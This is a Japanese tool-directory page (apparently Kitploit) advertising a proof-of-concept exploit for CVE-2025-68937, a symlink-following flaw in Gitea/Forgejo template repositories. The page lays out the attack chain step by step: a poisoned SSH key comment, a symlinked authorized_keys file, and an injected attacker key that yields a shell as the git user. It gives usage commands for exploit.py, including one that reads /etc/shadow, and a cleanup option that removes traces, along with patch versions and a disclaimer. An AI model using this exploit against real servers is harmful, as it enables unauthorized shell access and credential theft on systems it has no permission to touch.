Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
ツール/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

リポジトリを見る
18日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-68937 - Gitea/Forgejo テンプレートシンボリックリンクRCE

CVE-2025-68937 の自動化された概念実証(PoC): Gitea および Forgejo のテンプレートリポジトリ処理におけるシンボリックリンクの逆参照によるディレクトリトラバーサルを利用し、リモートコード実行(RCE)に至ります。

認証済みの任意のユーザー(管理者権限は不要)が、git サービスユーザーとしてシェルを取得できます。

脆弱性

テンプレートから新しいリポジトリを生成する際、Gitea/Forgejo はテンプレートファイルをコピーし、.gitea/template にリストされたファイル内の ${REPO_DESCRIPTION} などの変数を展開します。この処理は検証なしにシンボリックリンクを追従するため、攻撃者はサーバー上の任意のファイルを読み書きできます。

詳細値
CVECVE-2025-68937
CVSS 4.09.5 Critical
CWECWE-61(UNIXシンボリックリンクの追従)
認証要否要(任意のユーザー)
管理者権限不要

影響を受けるバージョン

ソフトウェア影響を受けるバージョン修正バージョン
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

仕組み

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. 汚染されたSSHキーをGiteaに登録します -- キーのコメントには、Gitea が展開するテンプレート変数である ${REPO_DESCRIPTION} が含まれています
  2. テンプレートリポジトリを作成し、以下を含めます:
    • 変数展開の対象として authorized_keys をリストした .gitea/template
    • git ユーザーの実際の authorized_keys ファイルを指す git シンボリックリンク authorized_keys
  3. 説明フィールドに攻撃者の制限なしSSH公開鍵を含む子リポジトリをテンプレートから生成します
  4. テンプレート展開がシンボリックリンクを追従して、実際の authorized_keys ファイル(コメントに ${REPO_DESCRIPTION} を含む登録済みキーが記載されている)を読み取り、変数を子リポジトリの説明(私たちのSSH鍵)に展開し、結果をシンボリックリンク経由で書き戻します
  5. 注入された鍵を使用して**git としてSSH接続**します(command= の制限なし)

使用方法

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

オプション

テスト環境

脆弱なインスタンスを起動します:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. http://localhost:3000 を開き、インストールウィザードを完了します(SQLite で問題なく動作します)
  2. ユーザーアカウントを登録します
  3. 実行:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

要件

  • Python 3.8以上
  • requests
  • PATH に git と ssh-keygen が存在すること

修復方法

  • Gitea: 1.24.7 以降にアップグレード
  • Forgejo: 11.0.7(LTS)または 13.0.2 以降にアップグレード

参考リンク

  • NVD: CVE-2025-68937
  • GitHub Advisory: GHSA-7mhf-6fhv-c83c
  • Gitea セキュリティ修正の分析(PR #36734 & #36746)
  • Gitea 1.24.7 リリースノート

免責事項

本ツールは許可されたセキュリティテストおよび教育目的のみを対象としています。自分が所有するシステム、またはテスト実施の明示的な書面による許可を得たシステムに対してのみ使用してください。コンピューターシステムへの不正アクセスは違法です。作者は本ツールの誤用に対して一切の責任を負いません。

ツールをダウンロード
フラグデフォルト説明
-u, --url必須Gitea/Forgejo のベース URL
-U, --user必須ユーザー名
-P, --password必須パスワード
--git-home/data/git対象サーバー上の git ユーザーのホームディレクトリ
--ssh-host--url から取得接続先の SSH ホスト
--ssh-port22Gitea の SSH ポート
--timeout30SSH の待機時間(秒)
--command対話的シェル取得後に実行するコマンド
--cleanup-エクスプロイトの痕跡を削除